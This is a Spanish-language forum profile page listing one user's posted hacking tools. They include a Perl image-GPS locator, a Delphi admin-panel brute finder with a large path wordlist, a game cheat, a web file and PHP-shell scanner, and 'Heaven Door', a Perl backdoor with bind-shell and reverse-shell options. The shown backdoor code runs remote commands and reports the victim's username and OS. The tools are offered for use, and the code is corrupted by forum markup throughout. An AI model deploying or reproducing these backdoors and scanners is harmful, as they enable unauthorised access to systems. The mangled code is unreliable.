Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - BigBear

Páginas: [1] 2 3 ... 20
1
Perl / [Perl] DH Image Locate 0.3
« en: Marzo 31, 2017, 04:25:50 pm »
Un script en Perl para localizar la coordenadas GPS de cualquier imagen que contenga este tag.

Si quieren el programa les redirige a google maps con las coordenadas encontradas.

El codigo :

Código: Perl
  1. #!usr/bin/perl
  2. # DH Image Locate 0.3
  3. #(C) Doddy Hackman 2016
  4.  
  5. use Image::ExifTool;
  6. use Getopt::Long;
  7. use Color::Output;
  8. Color::Output::Init;
  9.  
  10. GetOptions(
  11.     "dump_all=s"   => \$dump_all,
  12.     "dump_gps_tags=s"  => \$dump_gps_tags,
  13.     "locate=s"   => \$locate
  14. );
  15.  
  16. head();
  17.  
  18. if ($dump_all) {
  19.  
  20.     if ( -f $dump_all ) {
  21.         printear_titulo("<ul class="bbc_list"><li type="square"> Finding information in : ");[/li][/list]
  22.         You are not allowed to view links. Register or Login $dump_all. "\n\n";
  23.         dump_all($dump_all);
  24.     }
  25.     else {
  26.         printear("[-] File not found\n");
  27.     }
  28.  
  29. }
  30. elsif ($dump_gps_tags) {
  31.  
  32.     if ( -f $dump_gps_tags ) {
  33.         printear_titulo("</li><li type="square"> Finding GPS tags in : ");[/li][/list]
  34.         You are not allowed to view links. Register or Login $dump_gps_tags. "\n\n";
  35.         dump_gps_tags_and_locate($dump_gps_tags,"0");
  36.     }
  37.     else {
  38.         printear("[-] File not found\n");
  39.     }
  40. }
  41. elsif ($locate) {
  42.  
  43.     if ( -f $locate ) {
  44.         printear_titulo("</li><li type="square"> Scanning photo : ");[/li][/list]
  45.         You are not allowed to view links. Register or Login $locate. "\n\n";
  46.         dump_gps_tags_and_locate($locate,"1");
  47.     }
  48.     else {
  49.         printear("[-] File not found\n");
  50.     }
  51.  
  52. } else {
  53.     sintax();
  54. }
  55.  
  56. copyright();
  57.  
  58. # Functions
  59.  
  60. sub dump_all {
  61.  
  62.     my $imagen_target = $_[0];
  63.  
  64.     my $datos_imagen       = new Image::ExifTool;
  65.     my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  66.  
  67.     for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
  68.         my $valor = $informacion_imagen->{$abriendo_imagen};
  69.         printear("</li><li type="square"> $abriendo_imagen : ");[/li][/list]
  70.         You are not allowed to view links. Register or Login $valor. "\n";
  71.     }
  72.  
  73. }
  74.  
  75. sub dump_gps_tags_and_locate {
  76.    
  77.    my $imagen_target = You are not allowed to view links. Register or Login;
  78.    my $locate = You are not allowed to view links. Register or Login;
  79.  
  80.    my $datos_imagen       = new Image::ExifTool;
  81.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  82.  
  83.    my $latitud = $informacion_imagen->{GPSLatitude};
  84.    my $longitud = $informacion_imagen->{GPSLongitude};
  85.    my $altitud = $informacion_imagen->{GPSAltitude};
  86.    my $fecha = $informacion_imagen->{GPSDateTime};
  87.    my $posicion_real = $informacion_imagen->{GPSPosition};
  88.    
  89.    my $finder_ready = 0;
  90.    
  91.    
  92.    if($latitud ne "") {
  93.       printear("</li><li type="square"> Latitude : ");[/li][/list]
  94.       You are not allowed to view links. Register or Login $latitud. "\n";
  95.    } else {
  96.       printear("[-] Latitude : ");
  97.       You are not allowed to view links. Register or Login "Not Found". "\n";  
  98.    }
  99.    
  100.    if($longitud ne "") {
  101.       printear("</li><li type="square"> Longitude : ");[/li][/list]
  102.       You are not allowed to view links. Register or Login $longitud. "\n";
  103.    } else {
  104.       printear("[-] Longitude : ");
  105.       You are not allowed to view links. Register or Login "Not Found". "\n";
  106.    }
  107.    
  108.     if($latitud ne "") {
  109.       printear("</li><li type="square"> Altitude : ");[/li][/list]
  110.       You are not allowed to view links. Register or Login $altitud. "\n";
  111.    } else {
  112.       printear("[-] Altitude : ");
  113.       You are not allowed to view links. Register or Login "Not Found". "\n";
  114.    }
  115.    
  116.     if($fecha ne "") {
  117.       printear("</li><li type="square"> DateTime : ");[/li][/list]
  118.       You are not allowed to view links. Register or Login $fecha. "\n";
  119.    } else {
  120.       printear("[-] DateTime : ");
  121.       You are not allowed to view links. Register or Login "Not Found". "\n";
  122.    }
  123.    
  124.     if($posicion_real ne "") {
  125.       printear("</li><li type="square"> Position : ");[/li][/list]
  126.       You are not allowed to view links. Register or Login $posicion_real. "\n";
  127.       $finder_ready = 1;
  128.    } else {
  129.       printear("[-] Position : ");
  130.       You are not allowed to view links. Register or Login "Not Found". "\n";
  131.       $finder_ready = 0;
  132.    }
  133.    
  134.    if($locate eq "1") {
  135.       if($finder_ready eq "1") {
  136.          my $gps_split = $posicion_real;
  137.          $gps_split =~ s/deg//g;
  138.          $gps_split =~ s/'//g;
  139.          $gps_split =~ s/"//g;
  140.          $gps_split =~ s/W//g;
  141.          $gps_split =~ s/N,/-/g;
  142.          $gps_split =~ s/  / /g;
  143.                  
  144.          my $url = "[url]https://www.google.com.ar/maps/search/[/url]".$gps_split."/";
  145.          
  146.          printear_titulo("\n[!] Position Located\n\n");
  147.          printear("</li><li type="square"> GPS : ");[/li][/list]
  148.          You are not allowed to view links. Register or Login $gps_split."\n";
  149.          
  150.          printear("\n[?] Open in browser [y,n] : ");
  151.          You are not allowed to view links. Register or Login(my $rta = <STDIN>);
  152.          if($rta=~/You are not allowed to view links. Register or Login/ig) {
  153.             printear_titulo("\n</li><li type="square"> Enjoy the program !\n");[/li][/list]
  154.             You are not allowed to view links. Register or Login("start firefox \"" . $url."\"");
  155.          } else {
  156.             printear("\n</li><li type="square"> GoogleMaps : ");[/li][/list]
  157.             You are not allowed to view links. Register or Login $url. "\n";
  158.          }
  159.          
  160.       } else {
  161.          printear_titulo("\n[-] Position GPS not available");
  162.       }
  163.    }
  164.    
  165. }
  166.  
  167. # More Functions
  168.  
  169. sub printear {
  170.     cprint( "\x036" . $_[0] . "\x030" );
  171. }
  172.  
  173. sub printear_logo {
  174.     cprint( "\x037" . $_[0] . "\x030" );
  175. }
  176.  
  177. sub printear_titulo {
  178.     cprint( "\x0310" . $_[0] . "\x030" );
  179. }
  180.  
  181. sub sintax {
  182.  
  183.     printear("</li><li type="square"> Sintax : ");[/li][/list]
  184.     You are not allowed to view links. Register or Login "perl $0 <option> <value>\n";
  185.     printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
  186.     You are not allowed to view links. Register or Login "-dump_all <image> : Get all information of a image\n";
  187.     You are not allowed to view links. Register or Login "-dump_gps <image> : Get all tags GPS of a image\n";
  188.     You are not allowed to view links. Register or Login "-locate <image> : Locate Image in GoogleMaps\n";
  189.     printear("\n</li><li type="square"> Example : ");[/li][/list]
  190.     You are not allowed to view links. Register or Login "perl dh_image_locate.pl -dump_all test.jpg\n";
  191.     copyright();
  192. }
  193.  
  194. sub head {
  195.     printear_logo("\n-- == DH Image Locate 0.3 == --\n\n\n");
  196. }
  197.  
  198. sub copyright {
  199.     printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
  200.     You are not allowed to view links. Register or Login(1);
  201. }
  202.  
  203. #The End ?
  204.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.
You are not allowed to view links. Register or Login.

Eso seria todo.

2
Delphi / [Delphi] Admin Finder 1.0
« en: Febrero 23, 2017, 05:46:31 pm »
Un programa para buscar el panel de administracion usando threads para ser mas rápido y cómodo al usuario.

Una imagen :



El codigo :

Código: Delphi
  1. // Admin Finder 1.0
  2. // (C) Doddy Hackman 2016
  3.  
  4. unit finder;
  5.  
  6. interface
  7.  
  8. uses
  9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.   System.Classes, Vcl.Graphics,
  11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  12.   Vcl.ComCtrls, idHTTP, OtlThreadPool, OtlComm, OtlTask,
  13.   OtlTaskControl, Vcl.Imaging.pngimage;
  14.  
  15. type
  16.   TFormHome = class(TForm)
  17.     imgLogo: TImage;
  18.     gbEnterConfiguration: TGroupBox;
  19.     lblPage: TLabel;
  20.     lblThreads: TLabel;
  21.     txtPage: TEdit;
  22.     txtThreads: TEdit;
  23.     udThreads: TUpDown;
  24.     gbConsole: TGroupBox;
  25.     mmOutput: TMemo;
  26.     btnStart: TButton;
  27.     btnStop: TButton;
  28.     status: TStatusBar;
  29.     procedure btnStopClick(Sender: TObject);
  30.     procedure btnStartClick(Sender: TObject);
  31.   private
  32.     { Private declarations }
  33.   public
  34.     { Public declarations }
  35.   end;
  36.  
  37. var
  38.   FormHome: TFormHome;
  39.  
  40. implementation
  41.  
  42. {$R *.dfm}
  43. // Functions
  44.  
  45. function message_box(title, message_text, type_message: string): string;
  46. begin
  47.   if not(title = '') and not(message_text = '') and not(type_message = '') then
  48.   begin
  49.     try
  50.       begin
  51.         if (type_message = 'Information') then
  52.         begin
  53.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  54.             MB_ICONINFORMATION);
  55.         end
  56.         else if (type_message = 'Warning') then
  57.         begin
  58.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  59.             MB_ICONWARNING);
  60.         end
  61.         else if (type_message = 'Question') then
  62.         begin
  63.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  64.             MB_ICONQUESTION);
  65.         end
  66.         else if (type_message = 'Error') then
  67.         begin
  68.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  69.             MB_ICONERROR);
  70.         end
  71.         else
  72.         begin
  73.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  74.             MB_ICONINFORMATION);
  75.         end;
  76.         Result := '<ul class="bbc_list"><li type="square"> MessageBox : OK';[/li][/list]
  77.       end;
  78.     except
  79.       begin
  80.         Result := '[-] Error';
  81.       end;
  82.     end;
  83.   end
  84.   else
  85.   begin
  86.     Result := '[-] Error';
  87.   end;
  88. end;
  89.  
  90. function check_page(page: string): boolean;
  91. var
  92.   nave: TIdHTTP;
  93. begin
  94.   try
  95.     begin
  96.       nave := TIdHTTP.Create(nil);
  97.       nave.Request.UserAgent :=
  98.         'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
  99.       nave.Get(page);
  100.       if nave.ResponseCode = 200 then
  101.       begin
  102.         Result := True;
  103.       end
  104.       else
  105.       begin
  106.         Result := False;
  107.       end;
  108.       nave.Free();
  109.     end;
  110.   except
  111.     begin
  112.       Result := False;
  113.     end;
  114.   end;
  115. end;
  116.  
  117. //
  118.  
  119. procedure TFormHome.btnStartClick(Sender: TObject);
  120. var
  121.   i: integer;
  122.   path: string;
  123. const
  124.   paths: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  125.     'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  126.     'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  127.     'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  128.     'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  129.     'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  130.     'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  131.     'login/index.asp', 'login/index.aspx', 'login/login.asp',
  132.     'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  133.     'administracion/index.asp', 'administracion/index.aspx',
  134.     'administracion/login.asp', 'administracion/login.aspx',
  135.     'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  136.     'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  137.     'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
  138.     'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
  139.     'administracion/', 'administracion/index.php', 'administracion/login.php',
  140.     'administracion/ingresar.php', 'administracion/admin.php',
  141.     'administration/', 'administration/index.php', 'administration/login.php',
  142.     'administrator/index.php', 'administrator/login.php',
  143.     'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
  144.     'login.php', 'administrador.php', 'administration.php', 'administrator.php',
  145.     'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
  146.     'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
  147.     'admin/account.php', 'admin/account.html', 'admin/index.html',
  148.     'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
  149.     'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
  150.     'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
  151.     'administrator/login.html', 'administrator/account.html',
  152.     'administrator/account.php', 'administrator.html', 'login.html',
  153.     'modelsearch/login.php', 'moderator.php', 'moderator.html',
  154.     'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
  155.     'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
  156.     'controlpanel/', 'controlpanel.php', 'controlpanel.html',
  157.     'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
  158.     'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
  159.     'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
  160.     'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  161.     'administrator/index.asp', 'administrator/login.asp',
  162.     'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  163.     'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  164.     'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  165.     'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  166.     'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  167.     'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  168.     'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  169.     'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  170.     'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  171.     'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  172.     'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  173.     'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  174.     'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  175.     'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  176.     'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  177.     'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  178.     'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  179.     'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  180.     'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  181.     'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  182.     'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  183.     'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  184.     'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  185.     'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
  186.     'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
  187.     'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
  188.     'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
  189.     'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
  190.     'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
  191.     'database_administration/', 'power_user/', 'system_administration/',
  192.     'ss_vms_admin_sm/');
  193. begin
  194.   if not(txtPage.Text = '') and not(txtThreads.Text = '') then
  195.   begin
  196.     GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
  197.       System.CPUCount;
  198.     status.Panels[0].Text := '</li><li type="square"> Scanning ...';[/li][/list]
  199.     FormHome.Update;
  200.     for i := Low(paths) to High(paths) do
  201.     begin
  202.       Application.ProcessMessages;
  203.       path := txtPage.Text + '/' + paths[i];
  204.       CreateTask(
  205.         procedure(const task: IOmniTask)
  206.         var
  207.           path_to_load: string;
  208.         begin
  209.  
  210.           path_to_load := task.Param['path'].AsString;
  211.  
  212.           status.Panels[0].Text := 'Checking : ' + path_to_load + ' ...';
  213.           FormHome.Update;
  214.           if (check_page(path_to_load)) then
  215.           begin
  216.             mmOutput.Lines.Add(path_to_load);
  217.           end;
  218.  
  219.         end).SetParameter('path', path).Unobserved.Schedule;
  220.  
  221.     end;
  222.  
  223.     while GlobalOmniThreadPool.CountExecuting +
  224.       GlobalOmniThreadPool.CountQueued > 0 do
  225.     begin
  226.       Application.ProcessMessages;
  227.     end;
  228.  
  229.     status.Panels[0].Text := '</li><li type="square"> Finished';[/li][/list]
  230.     FormHome.Update;
  231.  
  232.     message_box('Admin Finder 1.0', 'Scan Finished', 'Information');
  233.  
  234.   end
  235.   else
  236.   begin
  237.     message_box('Admin Finder 1.0', 'Complete the configuration', 'Warning');
  238.   end;
  239. end;
  240.  
  241. procedure TFormHome.btnStopClick(Sender: TObject);
  242. begin
  243.   GlobalOmniThreadPool.CancelAll;
  244.   status.Panels[0].Text := '</li><li type="square"> Stopped';[/li][/list]
  245.   FormHome.Update;
  246.   message_box('Admin Finder 1.0', 'Scan Stopped', 'Information');
  247. end;
  248.  
  249. end.
  250.  
  251. // The End ?
  252.  

Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

You are not allowed to view links. Register or Login.

Eso seria todo.

3
Delphi / [Delphi] DH SAMP Cheater 0.4
« en: Febrero 09, 2017, 08:41:15 pm »
Un programa que hice en Delphi para automatizar los comandos cuando juego al GTA San Andreas Online (SAMP) , esta hecho exclusivamente para el servidor UIF.

Simplemente usan el atajo de teclado cuando esten jugando y el comando se ejecutara.

Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.

Eso seria todo.

4
Perl / [Perl] DH Secret Finder 0.8
« en: Enero 22, 2017, 09:36:42 am »
Un script en Perl que sirve como buscador de archivos web , tiene las siguientes opciones :

  • Buscar panel de administracion[/li]
  • Buscar dominios[/li]
  • Buscar directorios importantes[/li]
  • Buscar archivos importantes[/li]
  • Buscar PHP Shells[/li]
  • Guardar todo en logs[/li][/list]

    El codigo :

    Código: Perl
    1. # !usr/bin/perl
    2. # DH Secret Finder 0.8
    3. # (C) Doddy Hackman 2016
    4. # Credits for the arrays :
    5. # Dirs : directory-list-2.3-small.txt - Copyright 2007 James Fisher
    6. # Files : Based in wfuzz-1.4
    7. # Link for Files : [url]https://raw.githubusercontent.com/tuwid/darkc0de-old-stuff/master/wfuzz-1.4/wordlists/common.txt[/url]
    8. # Shells : Based in [url]https://github.com/bhavyanshu/Shell-Finder[/url]
    9.  
    10. use LWP::UserAgent;
    11. use Getopt::Long;
    12. use Color::Output;
    13. Color::Output::Init;
    14.  
    15. GetOptions(
    16.    "panels"   => \$panels,
    17.    "domains"   => \$domains,
    18.     "dirs"  => \$dirs,
    19.     "files"   => \$files,
    20.     "shells"   => \$shells,
    21.    "url=s"   => \$url,
    22.     "savefile=s"  => \$savefile,
    23.     "verbose"  => \$verbose
    24. );
    25.  
    26. head();
    27.  
    28. if ($panels) {
    29.    if($panels && $url) {
    30.       search($url,"panel");
    31.    } else {
    32.       sintax();
    33.    }  
    34. }
    35. elsif ($domains) {
    36.    if($domains && $url) {
    37.       search($url,"domain");
    38.    } else {
    39.       sintax();
    40.    }
    41. }
    42. elsif ($dirs) {
    43.    if($dirs && $url) {
    44.       search($url,"dir");
    45.    } else {
    46.       sintax();
    47.    }
    48. }
    49. elsif ($files) {
    50.    if($files && $url) {
    51.       search($url,"file");
    52.    } else {
    53.       sintax();
    54.    }
    55. }
    56. elsif ($shells) {
    57.    if($shells && $url) {
    58.       search($url,"shell");
    59.    } else {
    60.       sintax();
    61.    }
    62. }
    63. else {
    64.     sintax();
    65. }
    66.  
    67. copyright();
    68.  
    69. # Functions
    70.  
    71. sub search {
    72.    my ($url,$type) = @_;
    73.    
    74.    my $wordlist = "";
    75.    my $name = "";
    76.    
    77.    if($type eq "panel") {
    78.       $wordlist = "wordlists/panels.txt";
    79.       $name = "Panels";
    80.    } elsif($type eq "domain") {
    81.       $wordlist = "wordlists/domains.txt";
    82.       $name = "Domains";
    83.    } elsif($type eq "dir") {
    84.       $wordlist = "wordlists/directories.txt";
    85.       $name = "Directories";
    86.    } elsif($type eq "file") {
    87.       $wordlist = "wordlists/files.txt";
    88.       $name = "Files";
    89.    } elsif($type eq "shell") {
    90.       $wordlist = "wordlists/shells.txt";
    91.       $name = "Shells";
    92.    } else {
    93.       $wordlist = "wordlists/panels.txt";
    94.       $name = "Panels";
    95.    }
    96.    
    97.    my $cantidad = 0;
    98.    
    99.    if(-f $wordlist) {
    100.       printear_titulo("</li><li type="square"> Loading Wordlist ...\n");[/li][/list]
    101.       my @wordlist = load_wordlist($wordlist);
    102.       printear("\n</li><li type="square"> Wordlist Loaded : ");[/li][/list]
    103.       You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(@wordlist)." lines\n";
    104.       printear_logo("\n</li><li type="square"> Searching $name in $url ...\n\n");[/li][/list]
    105.       for my $line(@wordlist) {
    106.          You are not allowed to view links. Register or Login $line;
    107.          my $link = "";
    108.          if($type eq "domain") {
    109.             $link = $line.".".$url;
    110.          } else {
    111.             $link = $url."/".$line;
    112.          }
    113.          if(check_page($link)) {
    114.             if($verbose) {
    115.                printear("</li><li type="square"> Checking ");[/li][/list]
    116.                printear_logo("$link : ");
    117.                printear_azul("OK\n");
    118.             } else {
    119.                printear_azul("</li><li type="square"> Link : $link\n");[/li][/list]
    120.             }
    121.             $cantidad++;
    122.             if($savefile) {
    123.                savefile($savefile,"</li><li type="square"> Link : $link");[/li][/list]
    124.             }
    125.          } else {
    126.             if($verbose) {
    127.                printear("</li><li type="square"> Checking ");[/li][/list]
    128.                printear_logo("$link : ");
    129.                printear_rojo("FAIL\n");
    130.             }
    131.          }
    132.       }
    133.       printear("\n</li><li type="square"> $name Found : ");[/li][/list]
    134.       You are not allowed to view links. Register or Login "$cantidad\n";
    135.       if($cantidad eq "0") {
    136.          printear("\n[-] $name not found\n");
    137.       }
    138.       if($savefile) {
    139.          printear_logo("\n</li><li type="square"> Logs $savefile saved\n");[/li][/list]
    140.       }
    141.       printear_titulo("\n</li><li type="square"> Finished\n");[/li][/list]
    142.    } else {
    143.       printear_rojo("\n[-] Wordlist not exists");
    144.    }
    145. }
    146.  
    147. # More Functions
    148.  
    149. sub check_page {
    150.    my $url = You are not allowed to view links. Register or Login;
    151.    my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    152.    $nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
    153.    $nave->timeout(10);  
    154.    my $code = $nave->get($url);
    155.    if ($code->is_success) {
    156.       You are not allowed to view links. Register or Login 1;
    157.    } else {
    158.       You are not allowed to view links. Register or Login 0;
    159.    }
    160. }
    161.  
    162. sub load_wordlist {
    163.     my @result;
    164.     my @words;
    165.     You are not allowed to view links. Register or Login( FILE, $_[0] );
    166.     @words = <FILE>;
    167.     You are not allowed to view links. Register or Login FILE;
    168.     for (@words) {
    169.         You are not allowed to view links. Register or Login( @result, $_ );
    170.     }
    171.     You are not allowed to view links. Register or Login (@result);
    172. }
    173.  
    174. sub savefile {
    175.    my ($filename,$text) = @_;
    176.    You are not allowed to view links. Register or Login( SAVE, ">>" . $filename );
    177.    You are not allowed to view links. Register or Login SAVE $text . "\n";
    178.    You are not allowed to view links. Register or Login SAVE;
    179. }
    180.  
    181. sub printear {
    182.     cprint( "\x036" . $_[0] . "\x030" );
    183. }
    184.  
    185. sub printear_logo {
    186.     cprint( "\x037" . $_[0] . "\x030" );
    187. }
    188.  
    189. sub printear_titulo {
    190.     cprint( "\x0310" . $_[0] . "\x030" );
    191. }
    192.  
    193. sub printear_rojo {
    194.     cprint( "\x035" . $_[0] . "\x030" );
    195. }
    196.  
    197. sub printear_azul {
    198.     cprint( "\x033" . $_[0] . "\x030" );
    199. }
    200.  
    201. sub sintax {
    202.     printear("</li><li type="square"> Sintax : ");[/li][/list]
    203.     You are not allowed to view links. Register or Login "perl $0 <option> <value>\n";
    204.     printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
    205.     You are not allowed to view links. Register or Login "-panel -url <url> : Find panel administration in the URL\n";
    206.     You are not allowed to view links. Register or Login "-domain -url <url> : Find domains in the URL\n";
    207.     You are not allowed to view links. Register or Login "-dirs -url <url> : Find directories in the URL\n";
    208.     You are not allowed to view links. Register or Login "-files -url <url> : Find files in the URL\n";
    209.    You are not allowed to view links. Register or Login "-shells -url <url> : Find shells in the URL\n";
    210.    You are not allowed to view links. Register or Login "-savefile <filename> : Save results\n";
    211.     printear("\n</li><li type="square"> Example : ");[/li][/list]
    212.     You are not allowed to view links. Register or Login "perl secret_finder.pl -shells [url]http://localhost/[/url] -savefile results.txt\n";
    213.     copyright();
    214. }
    215.  
    216. sub head {
    217.     printear_logo("\n-- == DH Secret Finder 0.8 == --\n\n\n");
    218. }
    219.  
    220. sub copyright {
    221.     printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    222.     You are not allowed to view links. Register or Login(1);
    223. }
    224.  
    225. #The End ?
    226.  

    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

5
Perl / [Perl] Heaven Door 1.0
« en: Enero 20, 2017, 09:14:38 am »
Un script en Perl que funciona como backdoor con las siguientes opciones :

  • Backdoor[/li]
  • Reverse Shell[/li]
  • Generar backdoor PHP[/li]
  • Conectar con backdoor PHP[/li][/list]

    El codigo :

    Código: Perl
    1. # !usr/bin/perl
    2. # Heaven Door 1.0
    3. # (C) Doddy Hackman 2016
    4.  
    5. use LWP::UserAgent;
    6. use MIME::Base64;
    7. use IO::Socket;
    8. use IO::Socket::SSL;
    9. use Cwd;
    10. use Getopt::Long;
    11. use Color::Output;
    12. Color::Output::Init;
    13.  
    14. GetOptions(
    15.    "backdoor"   => \$backdoor,
    16.    "reverse"   => \$reverse,
    17.    "ip=s"   => \$ip,
    18.     "port=s"   => \$port,
    19.     "generate_backdoor"  => \$generate_backdoor,
    20.     "filename=s"  => \$filename,
    21.     "connect_backdoor"   => \$connect_backdoor,
    22.     "url=s"   => \$url
    23. );
    24.  
    25. head();
    26.  
    27. if ($backdoor) {
    28.    if($backdoor && $port) {
    29.       backdoor($port);
    30.    } else {
    31.       sintax();
    32.    }  
    33. }
    34. elsif ($reverse) {
    35.    if($reverse && $ip && $port) {
    36.       reverse_shell($ip,$port);
    37.    } else {
    38.       sintax();
    39.    }
    40. }
    41. elsif ($generate_backdoor) {
    42.    if($filename) {
    43.       cargar_generador_backdoor($filename);
    44.    } else {
    45.       sintax();
    46.    }
    47. }
    48. elsif ($connect_backdoor) {
    49.    if($url) {
    50.       cargar_consola_backdoor($url);
    51.    } else {
    52.       sintax();
    53.    }
    54. }
    55. else {
    56.     sintax();
    57. }
    58.  
    59. copyright();
    60.  
    61. # Functions
    62.  
    63. # Simple backdoor
    64.  
    65. sub backdoor {
    66.    
    67.    my($port) = @_;
    68.    
    69.    $backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);
    70.  
    71.    printear("</li><li type="square"> Heaven_Door : ");[/li][/list]
    72.    You are not allowed to view links. Register or Login "Online\n";
    73.    printear("</li><li type="square"> Port : ");[/li][/list]
    74.    You are not allowed to view links. Register or Login "$port\n";
    75.    printear("</li><li type="square"> PID : ");[/li][/list]
    76.    You are not allowed to view links. Register or Login "$$\n\n";
    77.    
    78.    printear_titulo("</li><li type="square"> Connected");[/li][/list]
    79.  
    80.    while ($jesus = $backdoor->You are not allowed to view links. Register or Login()) {
    81.       $jesus->autoflush(1);
    82.       You are not allowed to view links. Register or Login $jesus "</li><li type="square"> Heaven_Door : Online\n</li><li type="square"> Port : 25256\n</li><li type="square"> PID : ".$$."\n\n";[/li][/list]
    83.       You are not allowed to view links. Register or Login $jesus "Welcome  ".$jesus->peerhost."\n\n";
    84.       &extras;
    85.       $dir = getcwd();
    86.       You are not allowed to view links. Register or Login $jesus $dir.">>";
    87.       while (<$jesus>) {
    88.          my $yeah = You are not allowed to view links. Register or Login($_);
    89.          You are not allowed to view links. Register or Login $jesus "\n\n".$yeah."\n\n";
    90.          You are not allowed to view links. Register or Login $jesus $dir.">>";
    91.       }
    92.    }
    93.  
    94.    sub extras {
    95.  
    96.       if ($^O =~/Win32/ig) {
    97.          use if $^O eq "MSWin32", "Win32";
    98.          You are not allowed to view links. Register or Login $jesus "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
    99.          You are not allowed to view links. Register or Login $jesus "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
    100.          You are not allowed to view links. Register or Login $jesus "</li><li type="square"> Username : ".Win32::LoginName()."\n\n";[/li][/list]
    101.       } else {
    102.          $output =  `uname -a`;
